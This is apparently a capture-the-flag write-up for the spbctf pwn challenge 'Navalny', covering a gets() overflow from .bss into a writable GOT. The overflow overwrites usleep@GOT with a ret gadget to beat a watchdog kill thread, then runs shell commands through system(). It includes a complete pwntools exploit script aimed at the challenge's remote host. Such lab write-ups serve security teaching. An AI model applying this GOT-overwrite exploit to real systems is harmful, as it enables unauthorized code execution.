Navalny (ret2libc 10)
Navalny (ret2libc 10)
Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: gets_buffer_overflow, got_overwrite, race_condition_defeat, ret_gadget_got_patch, usleep_neutralization
Summary
Task: NON-PIE x86-64 ELF with NO RELRO; an unbounded gets() into a fixed .bss buffer sits just below the GOT, while a pthread watchdog runs kill -9 $PPID ~9.7s after start — before main reaches the winning second gets()->system() at ~12.2s. Solution: overflow the .bss buffer into the GOT, overwrite usleep@GOT with a binary ret gadget so main's 6s usleep returns instantly (defeating the kill-thread race), while rewriting all other clobbered GOT entries back to their leaked libc addresses, then buffer cat /flag* as the second line that system() executes.
Navalny (ret2libc 10) — pwn_spbctf
Description
Help Navalny survive his ride!
nc 109.233.56.90 11625 Author: Vlad Roskov (mrvos). Libc-2.31.so provided (Debian glibc 2.31-3).
A 64-bit x86-64 ELF navalny.elf, themed around an airplane ride and a nerve
agent. Remote pwn — the flag is in /flag.txt. The challenge is a race against
a watchdog thread rather than a classic memory-corruption-to-shell.
Analysis
Protections: NON-PIE (loaded at 0x400000), stack CANARY present,
NO RELRO (GOT is writable), NX. ASLR is off on the remote, so the libc
base is a constant (0x7ffff7de3000), and the startup even dumps it for you via
system("cat /proc/$PPID/maps").
Relevant functions: main @0x401219, novichok_action @0x401192.
The win condition
main calls gets() twice into the same fixed .bss buffer 0x4032d8:
- 1st gets
@0x40131a→ onlyprintf("You shout: %s\nLet's check if you're still alive...")— a harmless echo. - 2nd gets
@0x401360→system(0x4032d8)— runs your input as a shell command. This is the win: just feed itcat /flag.txt.
So "exploitation" is trivial if you can reach the 2nd gets. The whole challenge is reaching it in time.
The watchdog race
A pthread novichok_action is created late in main. It does: usleep, then a
5..0 countdown (1 second each, printing "%d..."), then
system("kill -9 $PPID") — i.e. it kills the process ~6–10s after the thread
starts.
main itself is full of fixed usleep delays (0.5s, 1s, 1s, 3.5s, and a 6s
usleep(0x5b8d80) right before the 2nd gets). Measured timeline:
| Event | Time |
|---|---|
| 1st gets / printf | ~6.2s |
watchdog kill -9 $PPID | ~9.7s |
2nd gets / system() (would be) | ~12.2s |
| |
The process is "Killed" at ~9.7s, before the winning system() at ~12.2s.
Sending input fast or pre-buffering both input lines does not help — the
fixed usleeps dominate the timeline. The race cannot be out-run.
The bug that lets us win
The 1st gets() into .bss buffer 0x4032d8 is UNBOUNDED. The .got.plt
sits just above that buffer:
0x4032d8 buffer (gets target)
...
0x4034f8 puts@GOT
0x403500 __stack_chk_fail@GOT
0x403508 system@GOT
0x403510 printf@GOT
0x403518 gets@GOT
0x403520 setvbuf@GOT
0x403528 usleep@GOT
The GOT is only ~544 bytes (0x4034f8 - 0x4032d8 = 0x220) above the buffer, well
within reach of the unbounded overflow. With NO RELRO the GOT is writable.
Solution
Defeat the race instead of out-running it. Overwrite usleep@GOT with a
binary ret gadget so that main's 6-second usleep(0x5b8d80) before the 2nd
gets returns instantly. Now main reaches system(0x4032d8) before the kill
thread fires.
Critical detail: the overflow that reaches usleep@GOT also overwrites every GOT
entry below it, and main still calls puts, __stack_chk_fail, system,
printf, gets, setvbuf after the 1st gets. All of those must be written
back to their correct resolved libc addresses, or you get a SIGSEGV. The real
addresses come from the libc base (constant due to ASLR off; also leaked in the
startup /proc/$PPID/maps dump) plus the provided libc-2.31.so symbol offsets.
Payload for the 1st gets:
[544 bytes junk]
puts@GOT = base + puts (preserve)
__stack_chk_fail@GOT = base + __stack_chk_fail (preserve)
system@GOT = base + system (preserve)
printf@GOT = base + printf (preserve)
gets@GOT = base + gets (preserve)
setvbuf@GOT = base + setvbuf (preserve)
usleep@GOT = 0x401016 (ret gadget) <-- KILLS the 6s sleep
Then the 2nd line buffered as the win command that system() executes:
cat /flag*; cat flag*; cat /flag; ls -la /.
Single connection, single overflow at the 1st gets + a buffered 2nd-line command.
python read-only • copy allowed#!/usr/bin/env python3 # navalny: NON-PIE, NO RELRO. 1st gets() into .bss buffer 0x4032d8 with NO bounds. # Overflow .bss into the GOT and overwrite usleep@GOT with a `ret` gadget so main's # 6s usleep before the 2nd gets becomes instant, letting main reach the system() # gets() before the novichok_action thread does kill -9 $PPID. import sys, re, time from pwn import * context.log_level = 'info' context.arch = 'amd64' HOST, PORT = "109.233.56.90", 11625 BUF = 0x4032d8 PUTS_GOT = 0x4034f8 SCK_GOT = 0x403500 # __stack_chk_fail SYS_GOT = 0x403508 PRF_GOT = 0x403510 GETS_GOT = 0x403518 SVB_GOT = 0x403520 USLEEP_GOT = 0x403528 RET_GADGET = 0x401016 # ret in navalny.elf (.text) libc = ELF('./libc-2.31.so', checksec=False) def solve(): io = remote(HOST, PORT) # ---- parse maps dump for libc base ---- base = None data = b"" deadline = time.time() + 5 while time.time() < deadline and base is None: try: chunk = io.recv(timeout=1) except EOFError: break if not chunk: break data += chunk m = re.search(rb'([0-9a-f]+)-[0-9a-f]+ r--p 00000000 [0-9a-f:]+ \d+\s+/libc-2\.31\.so', data) if m: base = int(m.group(1), 16) break if base is None: base = 0x7ffff7de3000 # ASLR off -> constant fallback log.warning("maps not parsed; using fallback base") log.info("libc base = %#x", base) putsf = base + libc.symbols['puts'] sckf = base + libc.symbols['__stack_chk_fail'] sysc = base + libc.symbols['system'] prnt = base + libc.symbols['printf'] getsf = base + libc.symbols['gets'] setvb = base + libc.symbols['setvbuf'] # ---- overflow payload for 1st gets ---- pay = b"A" * (PUTS_GOT - BUF) # 0x220 = 544 bytes junk pay += p64(putsf) # 0x4034f8 puts (preserve) pay += p64(sckf) # 0x403500 __stack_chk_fail (preserve) pay += p64(sysc) # 0x403508 system (preserve) pay += p64(prnt) # 0x403510 printf (preserve) pay += p64(getsf) # 0x403518 gets (preserve) pay += p64(setvb) # 0x403520 setvbuf (preserve) pay += p64(RET_GADGET) # 0x403528 usleep -> ret (KILL the sleep) assert b"\n" not in pay, "payload contains newline; gets would stop early" win = b"cat /flag*; cat flag*; cat /flag; ls -la /; id\n" io.send(pay + b"\n" + win) # 1st gets = overflow, 2nd gets = win (buffered) out = b"" try: while True: c = io.recv(timeout=8) if not c: break out += c sys.stdout.write(c.decode('latin1')); sys.stdout.flush() if b'spbctf{' in out: break except EOFError: pass io.close() m = re.search(rb'spbctf\{[^}]*\}', out) if m: log.success("FLAG: %s", m.group(0).decode()) return m.group(0).decode() return None if __name__ == "__main__": for attempt in range(5): log.info("=== attempt %d ===", attempt + 1) try: flag = solve() except Exception as e: log.warning("attempt error: %s", e); flag = None if flag: print("\n\n>>> FLAG:", flag) break time.sleep(1)
The program then prints: Now you can do whatever you want: spbctf{...}.